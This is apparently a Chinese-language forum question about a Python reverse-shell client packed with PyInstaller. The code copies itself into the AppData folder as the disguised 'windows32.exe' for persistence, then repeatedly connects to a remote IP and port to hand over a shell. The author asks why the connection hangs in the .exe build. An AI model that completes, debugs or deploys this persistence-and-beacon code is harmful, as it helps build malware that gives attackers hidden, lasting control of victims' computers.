最近,在开发反向shell示例时,我编写了一个python程序,然后使用pyinstaller将其转换为.exe。这里的想法是尝试将客户端绑定到服务器。首先,它创建一个持久性,然后尝试连接到服务器。在.py中,代码运行良好(尽管我们正在复制python.exe本身),但是当我每次执行.exe时,我都会在'persistence中执行 shutil 功能, sock.connect((“ 192.168.43.203”,54321))行只会停止程序。它不会输入例外规则。奇怪的是,如果未执行shuti代码,则连接函数将按预期方式工作并永远迭代。
我已经尝试使用os.system(“ cp path1 path2”)代替shutil,但没有用。
def connection():
global sock
while True:
time.sleep(10)
try:
sock.connect(("192.168.43.203", 54321))
shell()
sock.close()
except Exception as e:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
...
def persistence():
print(os.environ["appdata"])
location = os.environ["appdata"] + "\\windows32.exe"
if not os.path.exists(location):
shutil.copyfile(sys.executable, location) # (src, dst)
persistence()
connection()
我的问题是,如何使.exe像.py一样工作?我找不到这样的解决方案或答案。
谢谢。